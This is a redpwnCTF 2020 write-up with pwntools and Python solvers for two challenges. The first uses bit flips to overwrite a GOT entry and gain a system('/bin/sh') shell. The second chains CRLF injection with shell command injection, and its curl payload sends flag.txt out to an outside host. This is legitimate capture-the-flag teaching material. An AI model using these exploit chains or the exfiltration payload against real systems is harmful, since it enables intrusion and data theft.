redpwnCTF 2020

pwn/kevin-higgs

It's basically Rowhammer, right?

This challenge is a golf challenge where teams can flip a certain number of bits anywhere in memory. The number of bits that can be flipped goes up over time until a team first solves the challenge, at which point the number is fixed.

void FUN_08049267(undefined4 param_1,undefined4 param_2)
{
  char *__nptr;
  ulong allowed_flips;
  ulong uVar1;
  int *piVar2;
  ulong uVar3;
  int in_GS_OFFSET;
  ulong uVar4;
  uint n_flips;
  char local_1f [11];
  undefined4 local_14;
  undefined *puStack16;
  
  puStack16 = &param_1;
  local_14 = *(undefined4 *)(in_GS_OFFSET + 0x14);
  setvbuf(stdout,(char *)0x0,2,0);
  __nptr = getenv("NUMBER_OF_FLIPS");
  if (__nptr == (char *)0x0) {
    puts(
        "You need to specify the number of flips that you will be permitted to use through the$NUMBER_OF_FLIPS environmental variable.\n* if you do not understand the purpose of this,please reread the challenge description or reach out to an admin for help\n* the rate atwhich the number of bits permitted increases is accessible is displayed over netcat\n* oncethe first team solves this challenge, the clock will be stopped and all teams must find asolution using that number of bits or fewer\n"
        );
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  uVar4 = 10;
  allowed_flips = strtoul(__nptr,(char **)0x0,10);
  uVar3 = allowed_flips;
  printf(
         "Right now, this program will only let you flip %lu bit(s) anywhere in memory. That\'s allyou get for now. No libc provided. Live up to kmh\'s expectations and get a shell. Note:Your HSCTF solutions don\'t work anymore :)\n\n"
         ,allowed_flips);
  n_flips = 0;
  while( true ) {
    if (allowed_flips <= n_flips) {
      puts("Well, at least you tried.");
                    /* WARNING: Subroutine does not return */
      exit(0);
    }
    printf("Give me the address of the byte (hex uint32): ",uVar3,uVar4);
    fgets(local_1f,10,stdin);
    uVar1 = strtoul(local_1f,(char **)0x0,0x10);
    piVar2 = __errno_location();
    *piVar2 = 0;
    piVar2 = __errno_location();
    if (*piVar2 == 0x22) break;
    printf("Give me the index of the bit (0 to 7): ");
    fgets(local_1f,10,stdin);
    uVar3 = strtoul(local_1f,(char **)0x0,10);
    if (7 < uVar3) {
      puts("Try again (please give offset 0 to 7).");
                    /* WARNING: Subroutine does not return */
      exit(1);
    }
    uVar4 = uVar3;
    printf("Flipping 0x%08x at offset %lu...\n",uVar1,uVar3);
    uVar3 = uVar3 & 0xffff;
    FUN_080491e6(uVar1);
    n_flips = n_flips + 1;
  }
  puts("Try again (please give hex uint32).\n");
                    /* WARNING: Subroutine does not return */
  exit(1);
}

void FUN_080491e6(uint *param_1,undefined4 param_2)
{
  *param_1 = *param_1 ^ 1 << ((byte)param_2 & 0x1f);
  puts("You flipped a bit! You should be proud of yourself, great job!");
  if (DAT_0804c090 != 0) {
    printf("[debug] Here\'s your new byte: 0x%02hhx\n",*param_1);
  }
  return;
}
checksec for '/home/justin/redpwn20/pwn/kevin/kevin-higgs'
Canary                        : ✘
NX                            : ✓
PIE                           : ✘
Fortify                       : ✘
RelRO                         : Partial

We can observe that the binary does not mark memory locations as writable before actually trying to flip bits. This means that we cannot simply modify instructions directly but can only modify writable sections.

The .got.plt section appears to be the only writable section we can initially attack. Although there are writable sections mapped elsewhere in the binary, we don't know their addresses due to ASLR.

To make full use of the two bit flips we are allowed, we first take a look at exit@got. Modifying the GOT entry of any other function would only allow us a single bit flip (as the function would be called before the second bit flip).

At this point, because exit has never been called, exit@got points to 0x08049086 which is exit@plt.

Start      End        Offset     Perm Path
0x08048000 0x08049000 0x00000000 r-- /home/justin/redpwn20/pwn/kevin/kevin-higgs
0x08049000 0x0804a000 0x00001000 r-x /home/justin/redpwn20/pwn/kevin/kevin-higgs
0x0804a000 0x0804b000 0x00002000 r-- /home/justin/redpwn20/pwn/kevin/kevin-higgs
0x0804b000 0x0804c000 0x00002000 r-- /home/justin/redpwn20/pwn/kevin/kevin-higgs
0x0804c000 0x0804d000 0x00003000 rw- /home/justin/redpwn20/pwn/kevin/kevin-higgs
Memory Map

We can also see that the section at 0x08049000 is the only executable section. If we were to modify exit@got, we would have to jump to somewhere in 0x08049000.

We can brute force flipping all possible combinations:

for p in itertools.combinations(list(range(12)), 2):
    address = 0x08049086 ^ ((1 << p[0]) | (1 << p[1]))
    log.info(f'addr={hex(address)}')
    log.info(disasm(r.leak(address, 64)))

which identifies 0x080490d6 as a valid address we can jump to. Since this address is right at the start of entry, changing exit@got to point here will give us infinite flips!

Next, we want to leak the address of libc. We can make use of the debug functionality in the bit flipping function - if 0x804c090 is not zero, the binary prints out the entire byte that was modified.

To leak the address of say, setvbuf, all we have to do is to flip a bit in each of the 4 bytes (then flip the bit back so we do not corrupt the address) and read the output from the binary. Note that we can only leak data that we can write to (the bit flip fails otherwise).

def flip(pos, bit):
    r.sendlineafter("of the byte ", f'{pos:x}')
    r.sendlineafter("of the bit (0 to 7): ", str(bit))
    data = r.recvuntil("Give me").decode("utf8")
    if "[debug]" in data:
        m = re.search(r'your new byte: 0x([0-9a-zA-Z]{2})\n', data)

        returned = int(m.group(1), 16)
        original = returned ^ (1<<bit)

        log.debug(f'0x{pos:08x}: 0x{original:02x} -> 0x{returned:02x}')

        return original

Now what? Knowing the address of libc still does not allow us to redirect program execution to the shell we're after.

It turns out that libc contains a symbol environ whose value is on the stack! We can thus leak the address of the stack, then write the address ofsystem somewhere on the stack and ret to it.

One problem now is that we currently call exit every two bit flips. Since we need more than two bit flips to change the address of exit properly, calling the function while we're in the middle of writing our full value will lead to a segfault as we jump to an invalid location.

The solution is simple: since the variable controlling the number of allowed flips is on the stack and we have the stack address, just flip a bit in the stack variable to increase the number of bit flips we're allowed!

We make use of this gadget: 0x080494ad : add esp, 0xc ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret which will pop 7 items off the stack then ret to the 8th item.

We set up the stack so that it looks like this immediately after exit is called:

return address after `call exit`
dont care (0 because of the argument to exit)
dont care
dont care
dont care
dont care
dont care
system@libc
dont care (return address after executing system, but we don't need to return)
ptr to /bin/sh

Flipping exit@got to 0x080494ad will thus result in the first 7 items on the stack being removed. Execution then returns to system, which will execute /bin/sh, giving us the shell we're after.

from pwn import *
import itertools
import re

fname = './kevin-higgs'

context.log_level = "debug"

r = process(fname, env={
    "NUMBER_OF_FLIPS": "2"
})

# r = remote("2020.redpwnc.tf", 31956)

e = ELF(fname)
libc = ELF("libc-2.28.so")

def flip(pos, bit):
    r.sendlineafter("of the byte ", f'{pos:x}')
    r.sendlineafter("of the bit (0 to 7): ", str(bit))
    data = r.recvuntil("Give me").decode("utf8")
    if "[debug]" in data:
        m = re.search(r'your new byte: 0x([0-9a-zA-Z]{2})\n', data)

        returned = int(m.group(1), 16)
        original = returned ^ (1<<bit)

        log.debug(f'0x{pos:08x}: 0x{original:02x} -> 0x{returned:02x}')

        return original

def change_addr_val(addr, cur, target):
    flips = 0
    for i in range(32):
        byte_offset = i // 8

        # if bits differ, flip
        if (cur ^ target) & (1<<i):
            flip(addr + byte_offset, i % 8)
            flips += 1
    
    return flips

# for p in itertools.combinations(list(range(12)), 2):
#     address = 0x08049086 ^ ((1 << p[0]) | (1 << p[1]))
#     log.info(f'addr={hex(address)}')
#     log.info(disasm(r.leak(address, 64)))

# flip 08049086 into 080490d6, infinite wishes!
flip(e.got["exit"], 6)
flip(e.got["exit"], 4)

addr_debug = 0x804c090

# enable debug
flip(addr_debug, 0)
# flip a second time just to end this round
flip(addr_debug, 1)

def leak_u32(addr):
    leaked = bytearray()
    for i in range(4):
        leaked.append(flip(addr + i, 0))
        flip(addr + i, 0)

    return u32(leaked)

addr_setvbuf = leak_u32(e.got["setvbuf"])

log.info(f'setvbuf@got: {addr_setvbuf:08x}')

libc.address = addr_setvbuf - libc.symbols["setvbuf"]

log.info(f'libc base: {libc.address:08x}')

# leak address of environ, which is on the stack
addr_environ = leak_u32(libc.symbols["environ"])

log.info(f'environ: {addr_environ:08x}')

# at this point, by breaking and checking the stack in gdb, the variable controlling
# max number of flips is at address environ - 0xad8

bitflip = 6
# we flip the 6th bit so we now have 0x42 flips (minus one because we used one to actually flip the 6th bit)
flip(addr_environ - 0xad8, bitflip)

flips = (0x2 | (1<<bitflip)) - 1

addr_binsh = next(libc.search(b"/bin/sh"))
addr_system = libc.symbols["system"]

# flip(addr_environ - 0xafc, 7)
# flip(addr_environ - 0xaf8, 7)
# flip(addr_environ - 0xaf4, 7)
# flip(addr_environ - 0xaf0, 0)

# flips -= 3

# 0x080494ad : add esp, 0xc ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
# modify exit@got.plt to 0x080494ad

flips -= change_addr_val(e.got["exit"], cur=0x080490d6, target=0x080494ad)

# after stack items are cleared from the gadget above, the next 2 stack elements
# are treated as ip, ret address, arg0 respectively
addr_ip = addr_environ - 0xaf4
addr_param = addr_environ - 0xaec

flips -= change_addr_val(addr_ip, cur=leak_u32(addr_ip), target=addr_system)
flips -= change_addr_val(addr_param, cur=leak_u32(addr_param), target=addr_binsh)

flips -= 2 * 8 # 8 flips used to leak a 32 bit value

log.info(f'{flips} flips remaining')
while flips > 1:
    flip(addr_debug, 7)
    flips -= 1
    log.info(flips)

# one last flip to make before we hit exit
pos = 0x804c090
bit = 7
r.sendlineafter("of the byte ", f'{pos:x}')
r.sendlineafter("of the bit (0 to 7): ", str(bit))

r.interactive()
Solver

web/post-it-notes

Request smuggling has many meanings. Prove you understand at least one of them at 2020.redpwnc.tf:31957.
Note: There are a lot of time-wasting things about this challenge. Focus on finding the vulnerability on the backend API and figuring out how to exploit it.

We're given the source code for two web servers, one frontend and one backend server.

def get_note(nid):
    stdout, stderr = subprocess.Popen(f"cat 'notes/{nid}' || echo it did not work btw", shell = True, stdout = subprocess.PIPE, stderr = subprocess.PIPE, stdin = subprocess.PIPE).communicate()
    if stderr:
        print(stderr) # lemonthink
        return {}
    return {
        'success' : True,
        'title' : nid,
        'contents' : stdout.decode('utf-8', errors = 'ignore')
    }


def write_note(title, contents):
    nid = str(title)[:0xff]
    contents = str(contents)[:0xff]
    stdout, stderr = subprocess.Popen(f"cat > 'notes/{nid}'", shell = True, stdout = subprocess.PIPE, stderr = subprocess.PIPE, stdin = subprocess.PIPE).communicate(input = bytes(contents, 'utf-8'))
    print('made note:', stdout, stderr)
    return {
        'success' : True,
        'title' : nid,
        'contents' : contents
    }


@app.route('/')
def index():
    return 'pong'


@app.route('/api/v1/notes/', methods = ['GET', 'POST'])
def notes():
    ret_val = {'success':True}
    title = request.values['title']
    if 'contents' not in request.values: # reading note
        note = get_note(str(title)[:0xff])
        ret_val.update(note)
    else: # writing note
        contents = request.values['contents']
        ret_val.update(write_note(str(title)[:0xff], str(contents)))

    return json.dumps(ret_val)
Relevant functions of backend server

A very obvious command injection vulnerability is present here in the title param to /api/v1/notes.

Heres where I messed up - I trusted the challenge description too much and saw "request smuggling" and missed the unintended solution as pointed out by my team: just pass a command to /notes/<cmd> of the frontend server.

@app.route('/notes/<nid>')
def notes(nid):
    try:
        n = Note.get(nid, port = BACKEND_PORT)
        return render_template('note.html', note = n)
    except:
        return render_template('error.html')

class Note:
    # XXX: no static typing? :(
    def get(nid, port = None):
        _host = API_HOST.format(port = port)
        json = jason
        note = json.loads(str(requests.post(_host + '/api/v1/notes/', data = {
            'title' : nid
        }, headers = {
            'Authorization' : ' '.join(['his name', 'is', 'john connor']), # obfuscate because our penetration test report said that hardocded secrets BAD
            'Connection' : 'close'
        }).text) or '{}') # url encoding is for noobs

        if note.get('success'):
            note['links'] = [x[0] for x in REEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE.findall(r'(https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&//=]*))', note['contents'])]

        ####print('got note', nid, ' : ', note)
        return note
/notes/ endpoint of the frontend server

I went down the relatively painful route of actually exploiting the request smuggling vulnerability as hinted by the challenge description.

The following function in the frontend server immediately appears suspicious due to the manually created HTTP HEAD request:

@app.route('/check-links', methods = ['POST'])
def check_post():
    # check for broken links
    ret_val = dict()
    links = request.form.get('links')
    if isinstance(links, str):
        links = [links]
    for link in links:
        ret_val[link] = Note.check_link(link)
    return ret_val

def check_link(link):
        # XXX: we only support http links at the moment :(
        # XXX: what if someone wants to use domain spoofing characters? we don't support that...
        r = re.match(r'http://([^:]+)(:\d*)?(/.*)?', link, flags = 26)
        if not r:
            print('no bad link!!!', link)
            return False
        host, port, path = r.groups()
        
        ip = None
        try:
            # :thonkeng:
            ip = socket.gethostbyname(host)
        except:
            ip = host
            pass # eh we just want ip it doesnt really matter ig since it will be validated in next step

        # validate host
        try:
            # XXX: ipv6 and ipv8 support
            ip = re.match(r'(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})', ip).__getattribute__('groups')()[0]
        except Exception as PYTHON_SUCKS:
            print(PYTHON_SUCKS)
            print(host)
            print('bad ip address')
            return False

        # XXX: I CANT FIGURE OUT HOW TO MAKE HTTP HEAD REQUESTS FROM THE requests LIBRARY SO I AM DOING THIS BY MYSELF! DONT MOCK ME FOR """"""""""rEinVENtinG thE WheEL"""""""""".
        # :blobpat:
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            port = int(str(port or 80).lstrip(':'))
            s.connect((ip, port))
            # XXX: this works and i dont know why
            # NOTE: there was a bug before where newlines in `path` could make all requests fail. Fixed based on jira ticket RCTF-1231
            wef=(b'HEAD ' + (path or '/').replace('\n', '%0A').encode('utf-8') + b' HTTP/1.1\r\nConnection: keep-alive\x0d\nHost: ' + host.encode('utf-8') + b'\r\nUser-Agent: archlinux\r\nAccept: */*\r\n\r\n') # python3 socket library go brrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr
            print(wef)
            s.send(wef)
            # XXX: i dont like the above code, it is bad
            # XXX: three months later: what does the above comment mean, i forgot
            print('waiting')
            # give it time to think
            import time as angstromCTF
            angstromCTF.kevin_higgs=angstromCTF.sleep
            angstromCTF.kevin_higgs(1337/300/4)
            # XXX: i read in *CODE COMPLETE* that magic numbers are bad TODO explain what this means?
            try:
                # XXX: idk how sockets work...
                s.settimeout(4)
            except:
                pass
            rEspONSe = s.recv(4096)
            if b'200 OK' in rEspONSe:
                s.close()
                return True
            s.close()
            return False
check_link from the frontend server

Lets sidetrack a little to what does a HTTP request actually look like

GET /favicon.ico HTTP/1.1
Host: localhost:8000
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: image/webp,image/apng,image/*,*/*;q=0.8
Referer: http://localhost:8000/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

HTTP/1.0 404 File not found
Server: SimpleHTTP/0.6 Python/3.8.0
Date: Fri, 26 Jun 2020 02:56:43 GMT
Connection: close
Content-Type: text/html;charset=utf-8
Content-Length: 469

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
        "http://www.w3.org/TR/html4/strict.dtd">
<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
        <title>Error response</title>
    </head>
    <body>
        <h1>Error response</h1>
        <p>Error code: 404</p>
        <p>Message: File not found.</p>
        <p>Error code explanation: HTTPStatus.NOT_FOUND - Nothing matches the given URI.</p>
    </body>
</html>
Dump of a HTTP Request

The dump above is of a HTTP request and a response (starting at HTTP/1.0 404 File not found). A request/response consists of a block of headers then a body.

The headers are delimited by \r\n between each header, then \r\n\r\n at the end of the header block to mark the end of the header and start of the body.

This line from check_links manually builds a HTTP request: wef=(b'HEAD ' + (path or '/').replace('\n', '%0A').encode('utf-8') + b' HTTP/1.1\r\nConnection: keep-alive\x0d\nHost: ' + host.encode('utf-8') + b'\r\nUser-Agent: archlinux\r\nAccept: */*\r\n\r\n')

which, if host contained www.google.com, evaluates to something like

HEAD / HTTP/1.1
Connection: keep-alive
Host: www.google.com
User-Agent: archlinux
Accept: */*

What happens if host contained www.google.com\r\nfoo: bar then? It evaluates to

HEAD / HTTP/1.1
Connection: keep-alive
Host: www.google.com
foo: bar
User-Agent: archlinux
Accept: */*

We have the ability to inject an arbitrary header into the HTTP request.

What if we take it even further? What if host was something like www.google.com\r\n\r\nGET / HTTP/1.1\r\n\r\n?

HEAD / HTTP/1.1
Connection: keep-alive
Host: www.google.com

GET / HTTP/1.1
User-Agent: archlinux
Accept: */*

We have faked a entirely separate HTTP request. This would be useful if for example, the frontend server enforced validation on valid titles to prevent command injection. With this CRLF injection, we could make requests not usually allowed.

Now, to actually get a useful value into host, we have to play with the validation checks in check_link:

r = re.match(r'http://([^:]+)(:\d*)?(/.*)?', link, flags = 26)
if not r:
    print('no bad link!!!', link)
    return False
host, port, path = r.groups()

ip = None
try:
    # :thonkeng:
    ip = socket.gethostbyname(host)
except:
    ip = host
    pass # eh we just want ip it doesnt really matter ig since it will be validated in next step

# validate host
try:
    # XXX: ipv6 and ipv8 support
    ip = re.match(r'(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})', ip).__getattribute__('groups')()[0]
except Exception as PYTHON_SUCKS:
    print(PYTHON_SUCKS)
    print(host)
    print('bad ip address')
    return False

The first regular expression extracts out everything between http:// and :\d* as the host, then the number after as port. We ignore path here: its not useful because the server escapes \n in path.

We expect  socket.gethostbyname  to fail because our payload will not be a valid domain name. ip is then extracted from host with another regular expression.

Since the frontend server connects to ip and port, we need to pass in the correct parameters. We know that ip can be 127.0.0.1 since the backend server is on the same host. port on the other hand, is randomised.

if __name__ == '__main__':
    backend_port = random.randint(50000, 51000)

    at = threading.Thread(target = api_server.start, args = (backend_port,))
    wt = threading.Thread(target = web_server.start, args = (backend_port,))
Startup code for web servers

Well, there is a straightforward solution to that:

for port in range(50000, 51000):
    link = f"http://localhost:{port}"
    print(link)

    r = requests.post(urljoin(HOST, "/check-links"), data={
        "links": link
    })

    if "true" in r.text:
        print(r.text)
        break

We find out that the backend server is running on port 50596.

We can thus build our payload:

http://127.0.0.1\r\n\r\nGET /api/v1/notes/?title=%27%3B+curl+http%3A%2F%2Fjustins.in%2F%60cat+flag.txt%60+%23 HTTP/1.1\r\n\r\n:50596

which when parsed, results in the following HTTP requests:

HEAD / HTTP/1.1
Connection: keep-alive
Host: 127.0.0.1

GET /api/v1/notes/?title=%27%3B+curl+http%3A%2F%2Fjustins.in%2F%60cat+flag.txt%60+%23 HTTP/1.1


User-Agent: archlinux
Accept: */*

which results in the flag being sent to my web server:

34.75.191.250 - - [26/Jun/2020:00:44:24 +0800] "GET /flagy0u_b3tt3r_n0t_m@k3_m3_l0s3_my_pyth0n_d3v_j0b HTTP/1.1" 301 509 "-" "curl/7.64.0"
import requests
from urllib.parse import urljoin, quote_plus

HOST = "http://2020.redpwnc.tf:31957/"

# brute force to identify the port in use

# for port in range(50000, 51000):
#     link = f"http://localhost:{port}"
#     print(link)

#     r = requests.post(urljoin(HOST, "/check-links"), data={
#         "links": link
#     })

#     if "true" in r.text:
#         print(r.text)
#         break

# create payload
# everything between http:// and :50596 (port identified from previous step) is treated as the host
# when the server parses this payload, it connects to 127.0.0.1:50596 and sends the host string above
# as part of the "Host" header which we can abuse to inject arbitrary data
# we inject another HTTP request which exploits the command injection in
# `stdout, stderr = subprocess.Popen(f"cat 'notes/{nid}' || echo it did not work btw", shell = True, stdout = subprocess.PIPE, stderr = subprocess.PIPE, stdin = subprocess.PIPE).communicate()``
link = "http://127.0.0.1\r\n\r\nGET /api/v1/notes/?title=" + quote_plus("'; curl http://justins.in/`cat flag.txt` #") + " HTTP/1.1\r\n\r\n:50596"

r = requests.post(urljoin(HOST, "/check-links"), data={
    "links": link
})
Solver